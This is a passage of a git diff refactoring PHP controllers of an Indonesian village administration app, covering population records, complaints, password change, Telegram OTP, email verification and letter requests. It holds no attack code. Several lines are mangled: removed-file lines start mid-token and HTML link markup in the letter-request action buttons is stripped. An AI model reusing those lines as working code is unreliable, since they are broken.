+
+ $this->redirect_hak_akses('u', '', '', true);
+
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ if ($this->db->where('config_id', identitas('id'))->get('tweb_penduduk')->num_rows() > 0) {
+ redirect_with('error', 'Tidak dapat mengimpor BIP ketika data penduduk telah ada', 'penduduk/impor_bip');
+ }
+
+ $this->impor_model->impor_bip($this->input->post('hapus_data'));
+ redirect('penduduk/impor_bip');
+ }
+
+ public function ekspor()
+ {
+ try {
+ $daftar_kolom = $this->impor_model->daftar_kolom;
+
+ $writer = WriterEntityFactory::createXLSXWriter();
+ $writer->openToBrowser(namafile('penduduk') . '.xlsx');
+ $writer->addRow(WriterEntityFactory::createRowFromArray($daftar_kolom));
+
+ //Isi Tabel
+ $get = $this->ekspor_model->expor();
+
+ foreach ($get as $row) {
+ $penduduk = [];
+
+ foreach ($daftar_kolom as $kolom) {
+ $penduduk[] = $row->{$kolom};
+ }
+
+ $writer->addRow(WriterEntityFactory::createRowFromArray($penduduk));
+ }
+ $writer->close();
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->set_flashdata('notif', 'Tidak berhasil mengekspor data penduduk, harap mencoba kembali.');
+
+ redirect('penduduk');
+ }
+ }
+
+ public function foto_bawaan($id)
+ {
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ $penduduk = $this->db->where('config_id', identitas('id'))->get_where('tweb_penduduk', ['id' => $id])->row();
+
+ if (empty($penduduk)) {
+ return redirect('penduduk');
+ }
+
+ // TODO: Sederhanakan query ini, pindahkan ke model
+ $this->db->where('config_id', identitas('id'))->where('id', $penduduk->id)->set('foto', null)->update('tweb_penduduk');
+
+ // Hapus file foto penduduk yg di hapus di folder desa/upload/user_pict
+ $file_foto = LOKASI_USER_PICT . $penduduk->foto;
+ if (is_file($file_foto)) {
+ unlink($file_foto);
+ }
+
+ // Hapus file foto kecil penduduk yg di hapus di folder desa/upload/user_pict
+ $file_foto_kecil = LOKASI_USER_PICT . 'kecil_' . $penduduk->foto;
+ if (is_file($file_foto_kecil)) {
+ unlink($file_foto_kecil);
+ }
+
+ redirect("penduduk/form/1/0/{$penduduk->id}");
+ }
+}
diff --git a/donjo-app/controllers/Penduduk_log.php b/donjo-app/controllers/Penduduk_log.php
index f99705fa2..3dbe9ecc4 100644
--- a/donjo-app/controllers/Penduduk_log.php
+++ b/donjo-app/controllers/Penduduk_log.php
@@ -1,513 +1,262 @@
-load->model(['penduduk_model', 'penduduk_log_model']);
+ $this->modul_ini = 'kependudukan';
+ $this->sub_modul_ini = 'penduduk';
+ $this->set_page = ['20', '50', '100'];
+ $this->list_session = ['filter_tahun', 'filter_bulan', 'kode_peristiwa', 'status_dasar', 'sex', 'agama', 'dusun', 'rw', 'rt', 'cari'];
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata($this->list_session);
+ $this->session->filter_bulan = date('n');
+ $this->session->filter_tahun = date('Y');
+ $this->session->per_page = 20;
+
+ redirect($this->controller);
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $data['p'] = $p;
+ $data['o'] = $o;
+
+ foreach ($this->list_session as $list) {
+ if (in_array($list, ['dusun', 'rw', 'rt'])) {
+ ${$list} = $this->session->{$list};
+ } else {
+ $data[$list] = $this->session->{$list} ?: '';
+ }
+ }
+
+ if (isset($dusun)) {
+ $data['dusun'] = $dusun;
+ $data['list_rw'] = $this->wilayah_model->list_rw($dusun);
+
+ if (isset($rw)) {
+ $data['rw'] = $rw;
+ $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw);
+
+ if (isset($rt)) {
+ $data['rt'] = $rt;
+ } else {
+ $data['rt'] = '';
+ }
+ } else {
+ $data['rw'] = '';
+ }
+ } else {
+ $data['dusun'] = $data['rw'] = $data['rt'] = '';
+ }
+ $data['tahun'] = $this->session->filter_tahun;
+ $data['bulan'] = $this->session->filter_bulan;
+
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data['func'] = 'index';
+ $data['per_page'] = $this->session->per_page;
+ $data['set_page'] = $this->set_page;
+ $data['paging'] = $this->penduduk_log_model->paging($p, $o);
+ $data['main'] = $this->penduduk_log_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['keyword'] = $this->penduduk_model->autocomplete();
+ $data['tahun_log_pertama'] = $this->penduduk_log_model->tahun_log_pertama();
+ $data['list_jenis_peristiwa'] = $this->referensi_model->list_data('ref_peristiwa');
+ $data['list_sex'] = $this->referensi_model->list_data('tweb_penduduk_sex');
+ $data['list_agama'] = $this->referensi_model->list_data('tweb_penduduk_agama');
+ $data['list_dusun'] = $this->wilayah_model->list_dusun();
+
+ $this->render('penduduk_log/penduduk_log', $data);
+ }
+
+ public function filter($filter)
+ {
+ $value = $this->input->post($filter);
+ if ($value != '') {
+ $this->session->{$filter} = $value;
+ } else {
+ $this->session->unset_userdata($filter);
+ }
+
+ redirect($this->controller);
+ }
+
+ public function dusun()
+ {
+ $this->session->unset_userdata(['rw', 'rt']);
+ $dusun = $this->input->post('dusun');
+ if ($dusun != '') {
+ $this->session->dusun = $dusun;
+ } else {
+ $this->session->unset_userdata('dusun');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function rw()
+ {
+ $this->session->unset_userdata('rt');
+ $rw = $this->input->post('rw');
+ if ($rw != '') {
+ $this->session->rw = $rw;
+ } else {
+ $this->session->unset_userdata('rw');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function rt()
+ {
+ $rt = $this->input->post('rt');
+ if ($rt != '') {
+ $this->session->rt = $rt;
+ } else {
+ $this->session->unset_userdata('rt');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function tahun_bulan()
+ {
+ if ($bln = $this->input->post('bulan')) {
+ $this->session->filter_bulan = $bln;
+ } else {
+ $this->session->unset_userdata('filter_bulan');
+ }
+ if ($thn = $this->input->post('tahun')) {
+ $this->session->filter_tahun = $thn;
+ } else {
+ // Kalau tidak tentukan tahun, tampilkan semua
+ $this->session->unset_userdata('filter_tahun');
+ $this->session->unset_userdata('filter_bulan');
+ }
+
+ redirect($this->controller);
+ }
+
+ public function edit($p = 1, $o = 0, $id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['log_status_dasar'] = $this->penduduk_log_model->get_log($id) ?? show_404();
+ $data['list_ref_pindah'] = $this->referensi_model->list_data('ref_pindah');
+ $data['sebab'] = $this->referensi_model->list_ref(SEBAB);
+ $data['penolong_mati'] = $this->referensi_model->list_ref(PENOLONG_MATI);
+ $data['form_action'] = site_url("{$this->controller}/update/{$p}/{$o}/{$id}");
+
+ $this->load->view('penduduk_log/ajax_edit', $data);
+ }
+
+ public function update($p = 1, $o = 0, $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->penduduk_log_model->update($id);
+
+ redirect("{$this->controller}/index/{$p}/{$o}");
+ }
+
+ public function kembalikan_status($id_log)
+ {
+ $this->redirect_hak_akses('u');
+ unset($_SESSION['success']);
+ $this->penduduk_log_model->kembalikan_status($id_log);
+
+ redirect($this->controller);
+ }
+
+ public function ajax_kembalikan_status_pergi($id = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $data['nik'] = $this->penduduk_model->get_penduduk($id);
+ $data['form_action'] = site_url("{$this->controller}/kembalikan_status_pergi/{$id}");
+
+ $this->load->view('sid/kependudukan/ajax_edit_status_dasar_pergi', $data);
+ }
+
+ public function kembalikan_status_pergi($id_log = 0)
+ {
+ $this->redirect_hak_akses('u');
+ unset($_SESSION['success']);
+ $this->penduduk_log_model->kembalikan_status_pergi($id_log);
+
+ redirect($this->controller);
+ }
+
+ public function kembalikan_status_all()
+ {
+ $this->redirect_hak_akses('u');
+ $this->penduduk_log_model->kembalikan_status_all();
+
+ redirect($this->controller);
+ }
+
+ public function cetak($o = 0, $aksi = '', $privasi_nik = 0)
+ {
+ $data['main'] = $this->penduduk_log_model->list_data($o, 0);
+ if ($privasi_nik == 1) {
+ $data['privasi_nik'] = true;
+ }
+
+ $this->load->view("penduduk_log/penduduk_log_{$aksi}", $data);
+ }
+
+ public function ajax_cetak($o = 0, $aksi = '')
+ {
+ $data['o'] = $o;
+ $data['aksi'] = $aksi;
+ $data['form_action'] = site_url("{$this->controller}/cetak/{$o}/{$aksi}");
+ $data['form_action_privasi'] = site_url("{$this->controller}/cetak/{$o}/{$aksi}/1");
+
+ $this->load->view('sid/kependudukan/ajax_cetak_bersama', $data);
+ }
+}
diff --git a/donjo-app/controllers/Pengaduan_admin.php b/donjo-app/controllers/Pengaduan_admin.php
index 556420b48..32e7fd2e7 100644
--- a/donjo-app/controllers/Pengaduan_admin.php
+++ b/donjo-app/controllers/Pengaduan_admin.php
@@ -1,537 +1,147 @@
-modul_ini = 'pengaduan';
+ $this->load->model('pengaduan_model');
+ }
+
+ public function index()
+ {
+ $data['allstatus'] = $this->pengaduan_model->get_data()->count_all_results();
+ $data['status1'] = $this->pengaduan_model->get_data('1')->count_all_results();
+ $data['status2'] = $this->pengaduan_model->get_data('2')->count_all_results();
+ $data['status3'] = $this->pengaduan_model->get_data('3')->count_all_results();
+
+ $data['m_allstatus'] = $this->pengaduan_model->get_data_month()->count_all_results();
+ $data['m_status1'] = $this->pengaduan_model->get_data_month('1')->count_all_results();
+ $data['m_status2'] = $this->pengaduan_model->get_data_month('2')->count_all_results();
+ $data['m_status3'] = $this->pengaduan_model->get_data_month('3')->count_all_results();
+
+ if ($this->input->is_ajax_request()) {
+ $start = $this->input->post('start');
+ $length = $this->input->post('length');
+ $search = $this->input->post('search[value]');
+ $order = $this->pengaduan_model::ORDER_ABLE_PENGADUAN[$this->input->post('order[0][column]')];
+ $dir = $this->input->post('order[0][dir]');
+ $status = $this->input->post('status');
+
+ return json([
+ 'draw' => $this->input->post('draw'),
+ 'recordsTotal' => $this->pengaduan_model->get_pengaduan_a('', $status)->count_all_results(),
+ 'recordsFiltered' => $this->pengaduan_model->get_pengaduan_a($search, $status)->count_all_results(),
+ 'data' => $this->pengaduan_model->get_pengaduan_a($search, $status)->order_by($order, $dir)->limit($length, $start)->get()->result(),
+ ]);
+ }
+
+ $this->render('pengaduan_admin/index', $data);
+ }
+
+ public function kirim($id)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pengaduan_model->m_insert($id);
+
+ redirect($this->controller);
+ }
+
+ public function pengaduan_form($id = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id) {
+ $data['main'] = $this->pengaduan_model->pengaduan_detail($id) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/kirim/{$id}");
+ }
+
+ $this->load->view('pengaduan_admin/modal_form', $data);
+ }
+
+ public function pengaduan_form_detail($id = '')
+ {
+ if ($id) {
+ $data['pengaduana'] = $this->pengaduan_model->pengaduan_detailna($id) ?? show_404();
+ }
+
+ $this->load->view('pengaduan_admin/modal_detail', $data);
+ }
+
+ public function pengaduan_insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->pengaduan_model->pengaduan_insert();
+
+ redirect($this->controller);
+ }
+
+ public function pengaduan_update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->pengaduan_model->pengaduan_update($id);
+ redirect($this->controller);
+ }
+
+ public function pengaduan_delete($id)
+ {
+ $this->redirect_hak_akses('h');
+ $this->pengaduan_model->pengaduan_delete($id);
+
+ redirect($this->controller);
+ }
+
+ public function pengaduan_delete_all()
+ {
+ $this->redirect_hak_akses('h');
+ $this->pengaduan_model->pengaduan_delete_all();
+
+ redirect($this->controller);
+ }
+
+ public function pengaduan_status($id = 0, $status = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->pengaduan_model->status('produk_pengaduan', $id, $status);
+
+ redirect($this->controller);
+ }
+}
diff --git a/donjo-app/controllers/Pengguna.php b/donjo-app/controllers/Pengguna.php
index 0cd4a7362..22f0eabc4 100644
--- a/donjo-app/controllers/Pengguna.php
+++ b/donjo-app/controllers/Pengguna.php
@@ -1,481 +1,322 @@
-lang->load('passwords');
+ $this->load->library('Reset/Password', '', 'password');
+ $this->load->library('OTP/OTP_manager', null, 'otp_library');
+ $this->load->model('user_model');
+ }
+
+ public function index()
+ {
+ $userData = User::findOrFail(auth()->id);
+
+ return view('admin.pengguna.index', [
+ 'form_action' => 'pengguna/update',
+ 'password_action' => 'pengguna/update_password',
+ 'userData' => $userData,
+ ]);
+ }
+
+ public function update()
+ {
+ $data = User::findOrFail(auth()->id);
+ $newData = $this->validate($this->request);
+ if ($data->email != $newData['email']) {
+ $newData['email_verified_at'] = null;
+ }
+ if ($data->id_telegram != $newData['id_telegram']) {
+ $newData['telegram_verified_at'] = null;
+ }
+
+ if ($data->update($newData)) {
+ $this->session->isAdmin = $data;
+ redirect_with('success', 'Berhasil Ubah Data');
+ }
+
+ redirect_with('error', 'Gagal Ubah Data');
+ }
+
+ private function validate($request = [])
+ {
+ return [
+ 'nama' => nama($request['nama']),
+ 'email' => email($request['email']),
+ 'notif_telegram' => (int) $request['notif_telegram'],
+ 'id_telegram' => alfanumerik(empty($request['id_telegram']) ? 0 : $request['id_telegram']),
+ 'foto' => $this->user_model->urusFoto(Auth()->id),
+ ];
+ }
+
+ public function update_password($request = [])
+ {
+ $user = $this->validate_password($this->request);
+
+ if ($user['status']) {
+ $this->session->force_change_password = false;
+ redirect_with('success', $user['pesan']);
+ }
+
+ redirect_with('error', $user['pesan']);
+ }
+
+ private function validate_password($request = [])
+ {
+ $pass_lama = $request['pass_lama'];
+ $pass_baru = $request['pass_baru'];
+ $pass_baru1 = $request['pass_baru1'];
+ $pwMasihMD5 = (strlen(auth()->password) == 32) && (stripos(auth()->password, '$') === false) ? true : false;
+
+ switch (true) {
+ case empty($pass_lama) || empty($pass_baru) || empty($pass_baru1):
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Sandi tidak boleh kosong.',
+ ];
+ break;
+
+ case ! preg_match('/^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[^a-zA-Z0-9])(?!.*\s).{8,20}$/', $pass_baru):
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Sandi Baru harus 8 sampai 20 karakter dan sekurangnya berisi satu angka dan satu huruf besar dan satu huruf kecil dan satu karakter khusus.',
+ ];
+ break;
+
+ case $pwMasihMD5 && (md5($pass_lama) != auth()->password):
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Sandi Lama yang anda masukkan tidak sesuai.',
+ ];
+ break;
+
+ case ! $pwMasihMD5 && (password_verify($pass_lama, auth()->password) === false):
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Sandi Lama yang anda masukkan tidak sesuai.',
+ ];
+ break;
+
+ case $pass_baru == $pass_lama:
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Silahkan ganti Sandi Lama anda dengan Sandi Baru.',
+ ];
+ break;
+
+ case $pass_baru != $pass_baru1:
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti, Sandi Baru dan Sandi Baru (Ulangi) tidak sama.',
+ ];
+ break;
+
+ default:
+ $user = User::findOrFail(auth()->id);
+ $user->password = generatePasswordHash($pass_baru);
+
+ if ($user->update()) {
+ $this->session->isAdmin = $user;
+ $respon = [
+ 'status' => true,
+ 'pesan' => 'Sandi berhasil diganti.',
+ ];
+ } else {
+ $respon = [
+ 'status' => false,
+ 'pesan' => 'Sandi gagal diganti.',
+ ];
+ }
+ }
+
+ return $respon;
+ }
+
+ public function kirim_verifikasi()
+ {
+ $user = $this->db->where('id', $this->session->user)->get('user')->row();
+
+ if ($user->email_verified_at !== null) {
+ $this->session->success = 1;
+
+ redirect('pengguna');
+ }
+
+ try {
+ $status = $this->password->driver('email')->sendVerifyLink([
+ 'email' => $user->email,
+ ]);
+ } catch (\Exception $e) {
+ log_message('error', $e);
+
+ $this->session->success = -1;
+ $this->session->error_msg = 'Tidak berhasil mengirim verifikasi email';
+
+ redirect('pengguna');
+ }
+
+ if ($status === 'verify') {
+ $this->session->success = 6;
+ } else {
+ $this->session->success = -1;
+ $this->session->error_msg = lang($status);
+ }
+
+ redirect('pengguna');
+ }
+
+ public function kirim_otp_telegram()
+ {
+ // cek telegram sudah pernah terpakai atau belum
+ $id_telegram = (int) $this->input->post('id_telegram');
+ if (User::where('id_telegram', '=', $id_telegram)->where('id', '!=', $this->session->user)->exists()) {
+ return json([
+ 'status' => false,
+ 'message' => 'Id telegram harus unik',
+ ]);
+ }
+
+ try {
+ $user = User::find($this->session->user);
+ $token = hash('sha256', $raw_token = mt_rand(100000, 999999));
+
+ $user->id_telegram = $id_telegram;
+ $user->token = $token;
+ $user->token_exp = date('Y-m-d H:i:s', strtotime(date('Y-m-d H:i:s') . ' +5 minutes'));
+ $user->save();
+
+ $this->otp_library->driver('telegram')->kirim_otp($user->id_telegram, $raw_token);
+
+ return json([
+ 'status' => true,
+ 'message' => 'sucess',
+ 'data' => $id_telegram,
+ ]);
+ } catch (Exception $e) {
+ return json([
+ 'status' => false,
+ 'messages' => $e->getMessage(),
+ ]);
+ }
+ }
+
+ public function verifikasi_telegram()
+ {
+ $otp = $this->input->post('otp');
+ $id_telegram = $this->input->post('id_telegram');
+ if ($otp == '') {
+ return json([
+ 'status' => false,
+ 'message' => 'kode otp kosong',
+ ]);
+ }
+
+ $verifikasi_otp = User::where('id', '=', $this->session->user)
+ ->where('id_telegram', '=', $id_telegram)
+ ->where('token_exp', '>', date('Y-m-d H:i:s'))
+ ->where('token', '=', hash('sha256', $otp))
+ ->first();
+
+ if ($verifikasi_otp == null) {
+ return json([
+ 'status' => false,
+ 'message' => 'kode otp Salah',
+ ]);
+ }
+
+ $verifikasi_otp->telegram_verified_at = date('Y-m-d H:i:s');
+ $verifikasi_otp->save();
+ $this->session->isAdmin->telegram_verified_at = date('Y-m-d H:i:s');
+ $this->session->isAdmin->id_telegram = $id_telegram;
+
+ return json([
+ 'status' => true,
+ 'message' => 'Verifikasi berhasil',
+ ]);
+ }
+
+ public function verifikasi(string $hash)
+ {
+ $user = $this->db->where('id', $this->session->user)->get('user')->row();
+
+ if ($user->email_verified_at !== null) {
+ $this->session->success = 1;
+
+ redirect('pengguna');
+ }
+
+ // Check if hash equal with current user email.
+ if (! hash_equals($hash, sha1($user->email))) {
+ $this->session->success = -1;
+ $this->session->error_msg = lang('token');
+
+ redirect('pengguna');
+ }
+
+ $signature = hash_hmac('sha256', $user->email, config_item('encryption_key'));
+
+ // Check signature key
+ if (! hash_equals($signature, $this->input->get('signature'))) {
+ $this->session->success = -1;
+ $this->session->error_msg = lang('token');
+
+ redirect('pengguna');
+ }
+
+ // Check for token if expired
+ if ($this->input->get('expires') < strtotime(date('Y-m-d H:i:s'))) {
+ $this->session->success = -1;
+ $this->session->error_msg = lang('expired');
+
+ redirect('pengguna');
+ }
+
+ $this->db->where('id', $this->session->user)->update('user', ['email_verified_at' => date('Y-m-d H:i:s')]);
+
+ $this->session->success = 1;
+
+ redirect('pengguna');
+ }
+}
diff --git a/donjo-app/controllers/Pengunjung.php b/donjo-app/controllers/Pengunjung.php
index cbeac967e..10a03c197 100644
--- a/donjo-app/controllers/Pengunjung.php
+++ b/donjo-app/controllers/Pengunjung.php
@@ -1,497 +1,92 @@
-load->model('statistik_pengunjung_model');
+ $this->modul_ini = 'admin-web';
+ $this->sub_modul_ini = 'pengunjung';
+ }
+
+ public function index()
+ {
+ $data['hari_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('1');
+ $data['kemarin'] = $this->statistik_pengunjung_model->get_pengunjung_total('2');
+ $data['minggu_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('3');
+ $data['bulan_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('4');
+ $data['tahun_ini'] = $this->statistik_pengunjung_model->get_pengunjung_total('5');
+ $data['jumlah'] = $this->statistik_pengunjung_model->get_pengunjung_total(null);
+ $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id);
+
+ $this->render('pengunjung/table', $data);
+ }
+
+ public function detail($id = null)
+ {
+ $this->session->set_userdata('id', $id);
+
+ redirect('pengunjung');
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata('id');
+
+ redirect('pengunjung');
+ }
+
+ public function cetak()
+ {
+ $data['config'] = $this->header['desa'];
+ $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id);
+ $this->load->view('pengunjung/print', $data);
+ }
+
+ public function unduh()
+ {
+ $data['aksi'] = 'unduh';
+ $data['config'] = $this->header['desa'];
+ $data['filename'] = underscore('Laporan Data Statistik Pengunjung Website');
+ $data['main'] = $this->statistik_pengunjung_model->get_pengunjung($this->session->id);
+ $this->load->view('pengunjung/excel', $data);
+ }
+}
diff --git a/donjo-app/controllers/Periksa.php b/donjo-app/controllers/Periksa.php
index b91c2eb62..fa4418cf0 100644
--- a/donjo-app/controllers/Periksa.php
+++ b/donjo-app/controllers/Periksa.php
@@ -1,473 +1,140 @@
-session->db_error['code'] === 1049) {
+ redirect('koneksi-database');
+ }
+
+ $this->load->model(['periksa_model', 'user_model']);
+ $this->header = Config::appKey()->first();
+ $this->latar_login = default_file(LATAR_LOGIN . $this->periksa_model->getSetting('latar_login'), DEFAULT_LATAR_SITEMAN);
+ }
+
+ public function index()
+ {
+ if ($this->session->periksa_data != 1) {
+ redirect('periksa/login');
+ }
+
+ if ($this->session->message_query || $this->session->message_exception) {
+ log_message('error', $this->session->message_query);
+ log_message('error', $this->session->message_exception);
+ }
+
+ return view('periksa.index', array_merge($this->periksa_model->periksa, ['header' => $this->header]));
+ }
+
+ public function perbaiki()
+ {
+ if ($this->session->periksa_data != 1) {
+ redirect('periksa/login');
+ }
+ $this->periksa_model->perbaiki();
+ $this->session->unset_userdata(['db_error', 'message', 'message_query', 'heading', 'message_exception']);
+
+ redirect('/');
+ }
+
+ public function perbaiki_sebagian($masalah)
+ {
+ if ($this->session->periksa_data != 1) {
+ redirect('periksa/login');
+ }
+ $this->periksa_model->perbaiki_sebagian($masalah);
+ $this->session->unset_userdata(['db_error', 'message', 'message_query', 'heading', 'message_exception']);
+
+ redirect('/');
+ }
+
+ // Login khusus untuk periksa
+ public function login()
+ {
+ if ($this->session->periksa_data == 1) {
+ redirect('periksa');
+ }
+
+ $this->session->siteman_wait = 0;
+ $data = [
+ 'header' => $this->header,
+ 'form_action' => site_url('periksa/auth'),
+ 'latar_login' => $this->latar_login,
+ ];
+
+ $this->setting->sebutan_desa = $this->periksa_model->getSetting('sebutan_desa');
+ $this->setting->sebutan_kabupaten = $this->periksa_model->getSetting('sebutan_kabupaten');
+ $this->load->view('siteman', $data);
+ }
+
+ // Login khusus untuk periksa
+ public function auth()
+ {
+ $method = $this->input->method(true);
+ $allow_method = ['POST'];
+ if (! in_array($method, $allow_method)) {
+ redirect('periksa/login');
+ }
+ $this->user_model->siteman();
+
+ if ($this->session->siteman != 1) {
+ // Gagal otentifikasi atau bukan admin
+ redirect('periksa');
+ }
+
+ if ($this->session->grup != UserGrup::getGrupId(UserGrup::ADMINISTRATOR)) {
+ // Bukan admin
+ $this->user_model->logout();
+ redirect('periksa');
+ }
+
+ // Bedakan dengan status login biasa supaya dipaksa login lagi setelah selesai perbaiki data
+ $this->session->periksa_data = 1;
+ redirect('periksa');
+ }
+}
diff --git a/donjo-app/controllers/Permohonan_surat_admin.php b/donjo-app/controllers/Permohonan_surat_admin.php
index 9bcaec0b9..4595d70f3 100644
--- a/donjo-app/controllers/Permohonan_surat_admin.php
+++ b/donjo-app/controllers/Permohonan_surat_admin.php
@@ -1,593 +1,229 @@
-load->model(['permohonan_surat_model', 'penduduk_model', 'surat_model', 'keluarga_model', 'mailbox_model', 'surat_master_model']);
+ $this->modul_ini = 'layanan-surat';
+ $this->sub_modul_ini = 'permohonan-surat';
+ }
+
+ public function index()
+ {
+ return view('admin.permohonan_surat.index', [
+ 'list_status_permohonan' => $this->referensi_model->list_ref_flip(STATUS_PERMOHONAN),
+ ]);
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ return datatables(PermohonanSurat::query())
+ ->addIndexColumn()
+ ->addColumn('aksi', static function ($row) {
+ $aksi = '';
+
+ if (can('u')) {
+ if ($row->status == PermohonanSurat::BELUM_LENGKAP) {
+ $aksi .= ' ' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::BELUM_LENGKAP] . ' ';
+ } elseif ($row->status == PermohonanSurat::SEDANG_DIPERIKSA) {
+ $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SEDANG_DIPERIKSA] . ' ';
+ } elseif ($row->status == PermohonanSurat::MENUNGGU_TANDA_TANGAN) {
+ if (in_array($row->surat->jenis, FormatSurat::TINYMCE) && (setting('verifikasi_sekdes') || setting('verifikasi_kades'))) {
+ $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::MENUNGGU_TANDA_TANGAN] . ' ';
+ } else {
+ $aksi .= 'id}/3") . '" class="btn btn-social bg-purple btn-flat btn-sm" title="Surat Menunggu Tandatangan" style="width: 170px">' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::MENUNGGU_TANDA_TANGAN] . ' ';
+ }
+ } elseif ($row->status == PermohonanSurat::SIAP_DIAMBIL) {
+ $aksi .= 'id}/4") . '" class="btn btn-social bg-orange btn-flat btn-sm pesan-hover" title="Klik jika telah diambil" style="width: 170px">' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SIAP_DIAMBIL] . ' ';
+ } elseif ($row->status == PermohonanSurat::SUDAH_DIAMBIL) {
+ $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::SUDAH_DIAMBIL] . ' ';
+ } else {
+ $aksi .= '' . PermohonanSurat::STATUS_PERMOHONAN[PermohonanSurat::DIBATALKAN] . ' ';
+ }
+ }
+
+ return $aksi;
+ })
+ ->editColumn('no_antrian', static function ($row) {
+ return get_antrian($row->no_antrian);
+ })
+ ->editColumn('created_at', static function ($row) {
+ return tgl_indo2($row->created_at);
+ })
+ ->rawColumns(['aksi'])
+ ->make();
+ }
+
+ return show_404();
+ }
+
+ public function periksa($id = '')
+ {
+ // Cek hanya status = 1 (sedang diperiksa) yg boleh di proses
+ $periksa = PermohonanSurat::whereStatus(PermohonanSurat::SEDANG_DIPERIKSA)->findOrFail($id);
+
+ if (! $id || ! $periksa) {
+ redirect('permohonan_surat_admin');
+ }
+ $url = $periksa->surat->url_surat;
+
+ $data['periksa'] = $periksa;
+ $data['surat'] = $periksa->surat;
+ $data['url'] = $url;
+ $data['list_dokumen'] = $this->penduduk_model->list_dokumen($periksa->id_pemohon);
+ $data['individu'] = $this->surat_model->get_penduduk($periksa->id_pemohon);
+
+ $this->get_data_untuk_form($url, $data);
+ $data['isian_form'] = json_encode($this->ambil_isi_form($data['periksa']['isian_form']));
+ $data['surat_url'] = rtrim($_SERVER['REQUEST_URI'], '/clear');
+ $data['syarat_permohonan'] = $this->permohonan_surat_model->get_syarat_permohonan($id);
+ $data['form_action'] = site_url("surat/periksa_doc/{$id}/{$url}");
+ $data['form_surat'] = 'surat/form_surat.php';
+
+ $data_form = $this->surat_model->get_data_form($url);
+ if (is_file($data_form)) {
+ include $data_form;
+ }
+
+ if (in_array($data['surat']['jenis'], FormatSurat::TINYMCE)) {
+ $data['list_dokumen'] = empty($_POST['nik']) ? null : $this->penduduk_model->list_dokumen($data['individu']['id']);
+ $data['form_action'] = route("surat/pratinjau/{$url}/{$id}");
+ $data['form_surat'] = 'surat/form_surat_tinymce.php';
+ }
+
+ $this->render('mandiri/periksa_surat', $data);
+ }
+
+ public function proses($id = '', $status = '')
+ {
+ $this->permohonan_surat_model->proses($id, $status);
+
+ redirect('permohonan_surat_admin');
+ }
+
+ // TODO:: Duplikasi dengan kode yang ada di donjo-app/controllers/Surat.php
+ private function get_data_untuk_form($url, &$data)
+ {
+ // RTF
+ if (in_array($data['surat']['jenis'], FormatSurat::RTF)) {
+ $data['config'] = $data['lokasi'] = $this->header['desa'];
+ $data['perempuan'] = $this->surat_model->list_penduduk_perempuan();
+ $data['anggota'] = $this->keluarga_model->list_anggota($data['individu']['id_kk']);
+ }
+
+ // Panggil 1 penduduk berdasarkan datanya sendiri
+ $data['penduduk'] = [$data['periksa']['penduduk']];
+
+ $data['surat_terakhir'] = $this->surat_model->get_last_nosurat_log($url);
+ $data['input'] = $this->input->post();
+ $data['input']['nomor'] = $data['surat_terakhir']['no_surat_berikutnya'];
+ $data['format_nomor_surat'] = $this->penomoran_surat_model->format_penomoran_surat($data);
+
+ $tinymce = new TinyMCE();
+ $penandatangan = $tinymce->formPenandatangan();
+ $data['pamong'] = $penandatangan['penandatangan'];
+ $data['atas_nama'] = $penandatangan['atas_nama'];
+ }
+
+ private function ambil_isi_form($isian_form)
+ {
+ $hapus = ['url_surat', 'url_remote', 'nik', 'id_surat', 'nomor', 'pilih_atas_nama', 'pamong', 'pamong_nip', 'jabatan', 'pamong_id'];
+
+ foreach ($hapus as $kolom) {
+ unset($isian_form[$kolom]);
+ }
+
+ return $isian_form;
+ }
+
+ public function konfirmasi($id_permohonan = 0, $tipe = 0)
+ {
+ $data['form_action'] = site_url("permohonan_surat_admin/kirim_pesan/{$id_permohonan}/{$tipe}");
+
+ $this->load->view('surat/form/konfirmasi_permohonan', $data);
+ }
+
+ public function kirim_pesan($id_permohonan = 0, $tipe = 0)
+ {
+ $periksa = $this->permohonan_surat_model->get_permohonan(['id' => $id_permohonan, 'status' => 1]);
+ $pemohon = $this->surat_model->get_penduduk($periksa['id_pemohon']);
+ $post = $this->input->post();
